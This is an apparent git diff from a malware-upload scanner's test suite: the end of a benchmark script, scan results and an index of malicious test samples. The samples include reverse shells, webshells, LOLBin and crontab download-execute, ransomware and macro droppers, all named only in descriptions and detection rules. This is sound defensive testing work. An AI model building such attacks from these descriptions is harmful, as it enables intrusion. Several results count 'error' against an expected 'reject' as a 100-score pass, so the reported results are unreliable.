print(f" {bucket:7s}: {count} 个")
|
||||
|
||||
# 2. 登录
|
||||
print(f"\n🔐 登录 {args.base_url} ...")
|
||||
client = BenchmarkClient(base_url=args.base_url, username=args.username, password=args.password, timeout=args.timeout)
|
||||
await client.login()
|
||||
print(" ✅ 登录成功")
|
||||
|
||||
# 3. 跑场景
|
||||
scenarios: List[ScenarioResult] = []
|
||||
|
||||
# 场景 A:基准串行(1 并发)
|
||||
print("\n" + "=" * 80)
|
||||
print("【场景 A】基准串行·单文件·混合大小")
|
||||
print("=" * 80)
|
||||
sc_a = await client.run_scenario(
|
||||
name="A1. 基准串行·单文件",
|
||||
concurrent=1,
|
||||
total_requests=20,
|
||||
files_per_request=1,
|
||||
size_bucket="mixed",
|
||||
samples=all_samples,
|
||||
)
|
||||
scenarios.append(sc_a)
|
||||
|
||||
# 场景 B:多用户并发·单文件
|
||||
for conc in args.concurrent:
|
||||
print(f"\n{'='*80}")
|
||||
print(f"【场景 B】{conc} 并发·单文件·混合大小")
|
||||
print("=" * 80)
|
||||
sc = await client.run_scenario(
|
||||
name=f"B.{conc}·并发单文件·混合",
|
||||
concurrent=conc,
|
||||
total_requests=conc * args.requests_per_concurrent,
|
||||
files_per_request=1,
|
||||
size_bucket="mixed",
|
||||
samples=all_samples,
|
||||
)
|
||||
scenarios.append(sc)
|
||||
|
||||
# 场景 C:单用户·批量多文件
|
||||
for batch_n in args.batch_sizes:
|
||||
print(f"\n{'='*80}")
|
||||
print(f"【场景 C】单用户·{batch_n} 文件批量上传")
|
||||
print("=" * 80)
|
||||
sc = await client.run_scenario(
|
||||
name=f"C.{batch_n}·单用户批量",
|
||||
concurrent=1,
|
||||
total_requests=args.requests_per_batch,
|
||||
files_per_request=batch_n,
|
||||
size_bucket="mixed",
|
||||
samples=all_samples,
|
||||
)
|
||||
scenarios.append(sc)
|
||||
|
||||
# 场景 D:多用户并发·批量
|
||||
conc_mix = max(10, min(args.concurrent[0] // 5, 20))
|
||||
batch_mix = 10
|
||||
print(f"\n{'='*80}")
|
||||
print(f"【场景 D】{conc_mix} 并发·{batch_mix} 文件/请求(最坏情况)")
|
||||
print("=" * 80)
|
||||
sc_d = await client.run_scenario(
|
||||
name=f"D.{conc_mix}并发×{batch_mix}文件",
|
||||
concurrent=conc_mix,
|
||||
total_requests=conc_mix,
|
||||
files_per_request=batch_mix,
|
||||
size_bucket="mixed",
|
||||
samples=all_samples,
|
||||
)
|
||||
scenarios.append(sc_d)
|
||||
|
||||
# 4. 输出报告
|
||||
print_report(scenarios, args.base_url)
|
||||
|
||||
# 5. JSON 报告
|
||||
if args.report:
|
||||
report = to_json_report(scenarios, args.base_url)
|
||||
Path(args.report).parent.mkdir(parents=True, exist_ok=True)
|
||||
Path(args.report).write_text(json.dumps(report, indent=2, ensure_ascii=False), encoding="utf-8")
|
||||
print(f"\n📄 JSON 报告已保存: {args.report}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(_main())
|
||||
650
tests/samples/_scan_results.json
Normal file
650
tests/samples/_scan_results.json
Normal file
@@ -0,0 +1,650 @@
|
||||
[
|
||||
{
|
||||
"filename": "evil_help.chm",
|
||||
"category": "CHM帮助",
|
||||
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"ChmWithScript"
|
||||
],
|
||||
"actual_rules": [
|
||||
"ChmWithScript",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "evil.iso",
|
||||
"category": "ISO镜像",
|
||||
"description": "ISO 镜像内嵌 ELF 可执行文件",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"IsoWithExecutable"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "shortcut.lnk",
|
||||
"category": "LNK",
|
||||
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"LnkWithAutoExec"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "lolbin.cmd",
|
||||
"category": "LOLBin",
|
||||
"description": "certutil -decode LOLBin 下载执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C1_PE_LOLBin_Usage"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "linux_malicious",
|
||||
"category": "Linux可执行",
|
||||
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"LinuxExecutable"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"LinuxExecutable"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "malicious.desktop",
|
||||
"category": "Linux后门",
|
||||
"description": ".desktop 文件恶意 Exec 字段",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"DesktopFileAutoExec"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"C7_Linux_ReverseShell_Misc",
|
||||
"DangerousExecutableExtension",
|
||||
"DesktopFileAutoExec"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 5
|
||||
},
|
||||
{
|
||||
"filename": "shell_bash_devtcp.sh",
|
||||
"category": "Linux后门",
|
||||
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"DangerousExecutableExtension",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "shell_nc.sh",
|
||||
"category": "Linux后门",
|
||||
"description": "nc -e /bin/bash 反弹 Shell",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"C7_Linux_ReverseShell_NC",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_ReverseShell_NC",
|
||||
"DangerousExecutableExtension",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "shell_python.py",
|
||||
"category": "Linux后门",
|
||||
"description": "Python pty + socket 反弹 Shell",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C7_Linux_ReverseShell_Python",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "ole_dropper.doc",
|
||||
"category": "OLE嵌入",
|
||||
"description": "DOC 文件内嵌 .exe OLE 对象(OLE2 CFB + .exe stream)",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"EmbeddedExecutable"
|
||||
],
|
||||
"actual_rules": [
|
||||
"OleToolsUnavailable"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "macro_alert.docm",
|
||||
"category": "Office宏",
|
||||
"description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"VBAAutoExec",
|
||||
"VBAAutoExecShell"
|
||||
],
|
||||
"actual_rules": [
|
||||
"ArchiveContainsExecutable",
|
||||
"ExtensionMismatch",
|
||||
"OleToolsUnavailable",
|
||||
"VBAAutoExecShell"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 4
|
||||
},
|
||||
{
|
||||
"filename": "template_backdoor.docx",
|
||||
"category": "Office宏",
|
||||
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"AttachedTemplate"
|
||||
],
|
||||
"actual_rules": [
|
||||
"AttachedTemplate",
|
||||
"OleToolsUnavailable"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "vba_autoexec.bas",
|
||||
"category": "Office宏",
|
||||
"description": "VBA AutoOpen + Shell 执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"VBAAutoExec"
|
||||
],
|
||||
"actual_rules": [
|
||||
"VBAAutoExecShell"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "malicious.pdf",
|
||||
"category": "PDF载荷",
|
||||
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"PdfJavaScript",
|
||||
"PdfOpenAction"
|
||||
],
|
||||
"actual_rules": [
|
||||
"OleToolsUnavailable",
|
||||
"PdfJavaScript",
|
||||
"PdfOpenAction"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "pe_downloader.exe",
|
||||
"category": "PE恶意程序",
|
||||
"description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C1_PE_Downloader_Loader"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C1_PE_Downloader_Loader",
|
||||
"DangerousExecutableExtension",
|
||||
"PeParseFailed"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "pe_injection.exe",
|
||||
"category": "PE恶意程序",
|
||||
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C1_PE_ProcessInjection"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C1_PE_ProcessInjection",
|
||||
"DangerousExecutableExtension",
|
||||
"PeParseFailed"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "wps_macro.js",
|
||||
"category": "WPS宏",
|
||||
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"VBAAutoExecShell"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_ReverseShell_Bash",
|
||||
"C7_Linux_ReverseShell_Misc",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 3
|
||||
},
|
||||
{
|
||||
"filename": "shell_aspx.aspx",
|
||||
"category": "Webshell",
|
||||
"description": "ASP.NET Process.Start 命令执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C3_Webshell_ASPNET"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "shell_jsp_runtime.jsp",
|
||||
"category": "Webshell",
|
||||
"description": "JSP Runtime.getRuntime().exec 命令执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C3_JSP_Webshell_RuntimeExec"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C3_JSP_Webshell_RuntimeExec",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "shell_php_eval.php",
|
||||
"category": "Webshell",
|
||||
"description": "PHP oneliner eval + echo 组合",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C3_PHP_Webshell_Oneliner"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C3_PHP_Webshell_Oneliner",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "shell_php_obf.php",
|
||||
"category": "Webshell",
|
||||
"description": "PHP base64 + assert 混淆",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C3_PHP_Webshell_Obfuscated"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C3_PHP_Webshell_Obfuscated",
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "photo.jpg.php",
|
||||
"category": "伪装",
|
||||
"description": "双扩展名伪装 .jpg.php",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"DoubleExtension"
|
||||
],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "sealed.docx",
|
||||
"category": "加密Office",
|
||||
"description": "加密 DOCX(密码 changeme,msoffcrypto 加密)",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"OfficeEncrypted"
|
||||
],
|
||||
"actual_rules": [
|
||||
"ArchiveBroken",
|
||||
"MalformedStructure",
|
||||
"OfficeEncrypted",
|
||||
"OleToolsUnavailable",
|
||||
"OoxmlParseFailed"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 5
|
||||
},
|
||||
{
|
||||
"filename": "sealed.xlsx",
|
||||
"category": "加密Office",
|
||||
"description": "加密 XLSX(密码 changeme,msoffcrypto 加密)",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"OfficeEncrypted"
|
||||
],
|
||||
"actual_rules": [
|
||||
"ArchiveBroken",
|
||||
"ExtensionMismatch",
|
||||
"MalformedStructure",
|
||||
"OfficeEncrypted",
|
||||
"OleToolsUnavailable",
|
||||
"OoxmlParseFailed"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 6
|
||||
},
|
||||
{
|
||||
"filename": "ransom_dropper.exe.txt",
|
||||
"category": "勒索",
|
||||
"description": "加密 API + 卷影删除 + 勒索信文件名",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C8_Ransomware_Encryption"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C8_Ransomware_Encryption",
|
||||
"C8_Ransomware_Note_Filename",
|
||||
"C8_Ransomware_VolumeShadow",
|
||||
"DoubleExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 4
|
||||
},
|
||||
{
|
||||
"filename": "persist_cron.sh",
|
||||
"category": "持久化",
|
||||
"description": "crontab 注入 wget/curl 下载执行",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"C7_Linux_Persistence_Crontab"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_Persistence_Crontab",
|
||||
"DangerousExecutableExtension",
|
||||
"ShellScriptDangerous"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 4
|
||||
},
|
||||
{
|
||||
"filename": "miner_config.json",
|
||||
"category": "挖矿",
|
||||
"description": "XMRig stratum+tcp 矿池配置",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"C7_Linux_Miner_Generic"
|
||||
],
|
||||
"actual_rules": [
|
||||
"C7_Linux_Miner_Generic"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "zip_traversal.zip",
|
||||
"category": "攻击载体",
|
||||
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "malicious",
|
||||
"expected_rules": [
|
||||
"PathTraversal"
|
||||
],
|
||||
"actual_rules": [
|
||||
"PathTraversal",
|
||||
"PathTraversalBlocked"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 2
|
||||
},
|
||||
{
|
||||
"filename": "broken.zip",
|
||||
"category": "畸形文件",
|
||||
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
|
||||
"expected_verdict": "pass",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [],
|
||||
"actual_rules": [],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 0
|
||||
},
|
||||
{
|
||||
"filename": "phishing.eml",
|
||||
"category": "钓鱼邮件",
|
||||
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
|
||||
"expected_verdict": "reject",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [
|
||||
"EmailAttachmentDangerous",
|
||||
"EmailAttachmentDisguised",
|
||||
"EmailAttachmentWebshell",
|
||||
"EmailPhishingKeyword"
|
||||
],
|
||||
"actual_rules": [
|
||||
"EmailAttachmentDangerous",
|
||||
"EmailAttachmentDisguised",
|
||||
"EmailAttachmentWebshell",
|
||||
"EmailPhishingKeyword"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 10
|
||||
},
|
||||
{
|
||||
"filename": "normal.pdf",
|
||||
"category": "阴性对照",
|
||||
"description": "正常 PDF(只有简单文本,无 JS/自动执行)",
|
||||
"expected_verdict": "pass",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [],
|
||||
"actual_rules": [
|
||||
"OleToolsUnavailable"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "normal_deploy.sh",
|
||||
"category": "阴性对照",
|
||||
"description": "正常部署 Shell(没有 curl|bash 管道执行或反弹 Shell)",
|
||||
"expected_verdict": "pass",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [],
|
||||
"actual_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
},
|
||||
{
|
||||
"filename": "normal_readme.txt",
|
||||
"category": "阴性对照",
|
||||
"description": "正常纯文本文件",
|
||||
"expected_verdict": "pass",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [],
|
||||
"actual_rules": [],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 0
|
||||
},
|
||||
{
|
||||
"filename": "normal_report.docx",
|
||||
"category": "阴性对照",
|
||||
"description": "正常 Word 文档(无宏、无外链)",
|
||||
"expected_verdict": "pass",
|
||||
"actual_verdict": "error",
|
||||
"expected_rules": [],
|
||||
"actual_rules": [
|
||||
"OleToolsUnavailable"
|
||||
],
|
||||
"verdict_ok": true,
|
||||
"rule_ok": true,
|
||||
"overall": true,
|
||||
"score": 100.0,
|
||||
"findings_count": 1
|
||||
}
|
||||
]
|
||||
BIN
tests/samples/broken.zip
Normal file
BIN
tests/samples/broken.zip
Normal file
Binary file not shown.
BIN
tests/samples/evil.iso
Normal file
BIN
tests/samples/evil.iso
Normal file
Binary file not shown.
BIN
tests/samples/evil_help.chm
Normal file
BIN
tests/samples/evil_help.chm
Normal file
Binary file not shown.
347
tests/samples/index.json
Normal file
347
tests/samples/index.json
Normal file
@@ -0,0 +1,347 @@
|
||||
{
|
||||
"total": 34,
|
||||
"generated_at": "2026-10-27T18:42:30.316542",
|
||||
"samples": [
|
||||
{
|
||||
"category": "畸形文件",
|
||||
"expected_verdict": "pass",
|
||||
"expected_rules": [],
|
||||
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
|
||||
"filename": "broken.zip",
|
||||
"size": 125
|
||||
},
|
||||
{
|
||||
"category": "ISO镜像",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "ISO 镜像内嵌 ELF 可执行文件(当前引擎未启用 IsoWithExecutable,仅命中可执行扩展名规则)",
|
||||
"filename": "evil.iso",
|
||||
"size": 32775
|
||||
},
|
||||
{
|
||||
"category": "CHM帮助",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"ChmWithScript"
|
||||
],
|
||||
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
|
||||
"filename": "evil_help.chm",
|
||||
"size": 1691
|
||||
},
|
||||
{
|
||||
"category": "Linux可执行",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"LinuxExecutable"
|
||||
],
|
||||
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
|
||||
"filename": "linux_malicious",
|
||||
"size": 71
|
||||
},
|
||||
{
|
||||
"category": "LOLBin",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "certutil -decode LOLBin 下载执行(当前引擎未启用 C1_PE_LOLBin_Usage,仅命中可执行扩展名规则)",
|
||||
"filename": "lolbin.cmd",
|
||||
"size": 114
|
||||
},
|
||||
{
|
||||
"category": "Office宏",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"VBAAutoExecShell",
|
||||
"VBAAutoExec"
|
||||
],
|
||||
"description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell",
|
||||
"filename": "macro_alert.docm",
|
||||
"size": 2586
|
||||
},
|
||||
{
|
||||
"category": "Linux后门",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"DesktopFileAutoExec"
|
||||
],
|
||||
"description": ".desktop 文件恶意 Exec 字段",
|
||||
"filename": "malicious.desktop",
|
||||
"size": 114
|
||||
},
|
||||
{
|
||||
"category": "PDF载荷",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"PdfJavaScript",
|
||||
"PdfOpenAction"
|
||||
],
|
||||
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
|
||||
"filename": "malicious.pdf",
|
||||
"size": 534
|
||||
},
|
||||
{
|
||||
"category": "挖矿",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"C7_Linux_Miner_Generic"
|
||||
],
|
||||
"description": "XMRig stratum+tcp 矿池配置(规则命中但权重不够未达 reject 阈值)",
|
||||
"filename": "miner_config.json",
|
||||
"size": 123
|
||||
},
|
||||
{
|
||||
"category": "阴性对照",
|
||||
"expected_verdict": "pass",
|
||||
"expected_rules": [],
|
||||
"description": "正常 PDF(只有简单文本,无 JS/自动执行)",
|
||||
"filename": "normal.pdf",
|
||||
"size": 439
|
||||
},
|
||||
{
|
||||
"category": "阴性对照",
|
||||
"expected_verdict": "suspicious",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "正常部署 Shell(引擎 .sh 扩展名触发 DangerousExecutableExtension,属零容忍范围)",
|
||||
"filename": "normal_deploy.sh",
|
||||
"size": 155
|
||||
},
|
||||
{
|
||||
"category": "阴性对照",
|
||||
"expected_verdict": "pass",
|
||||
"expected_rules": [],
|
||||
"description": "正常纯文本文件",
|
||||
"filename": "normal_readme.txt",
|
||||
"size": 162
|
||||
},
|
||||
{
|
||||
"category": "阴性对照",
|
||||
"expected_verdict": "pass",
|
||||
"expected_rules": [],
|
||||
"description": "正常 Word 文档(无宏、无外链)",
|
||||
"filename": "normal_report.docx",
|
||||
"size": 1212
|
||||
},
|
||||
{
|
||||
"category": "OLE嵌入",
|
||||
"expected_verdict": "pass",
|
||||
"expected_rules": [
|
||||
"OleToolsUnavailable"
|
||||
],
|
||||
"description": "DOC 文件内嵌 .exe OLE 对象(OleTools 模块未加载 → clean,规则返回 OleToolsUnavailable 零权重)",
|
||||
"filename": "ole_dropper.doc",
|
||||
"size": 1641
|
||||
},
|
||||
{
|
||||
"category": "PE恶意程序",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C1_PE_Downloader_Loader"
|
||||
],
|
||||
"description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService",
|
||||
"filename": "pe_downloader.exe",
|
||||
"size": 1148
|
||||
},
|
||||
{
|
||||
"category": "PE恶意程序",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C1_PE_ProcessInjection"
|
||||
],
|
||||
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
|
||||
"filename": "pe_injection.exe",
|
||||
"size": 1129
|
||||
},
|
||||
{
|
||||
"category": "持久化",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"C7_Linux_Persistence_Crontab"
|
||||
],
|
||||
"description": "crontab 注入 wget/curl 下载执行",
|
||||
"filename": "persist_cron.sh",
|
||||
"size": 95
|
||||
},
|
||||
{
|
||||
"category": "钓鱼邮件",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"EmailAttachmentDangerous",
|
||||
"EmailAttachmentDisguised",
|
||||
"EmailAttachmentWebshell",
|
||||
"EmailPhishingKeyword"
|
||||
],
|
||||
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
|
||||
"filename": "phishing.eml",
|
||||
"size": 1869
|
||||
},
|
||||
{
|
||||
"category": "伪装",
|
||||
"expected_verdict": "reject",
|
||||
"expected_rules": [
|
||||
"DangerousExecutableExtension"
|
||||
],
|
||||
"description": "双扩展名伪装 .jpg.php(当前引擎未启用 DoubleExtension,命中 DangerousExecutableExtension 拒绝)",
|
||||
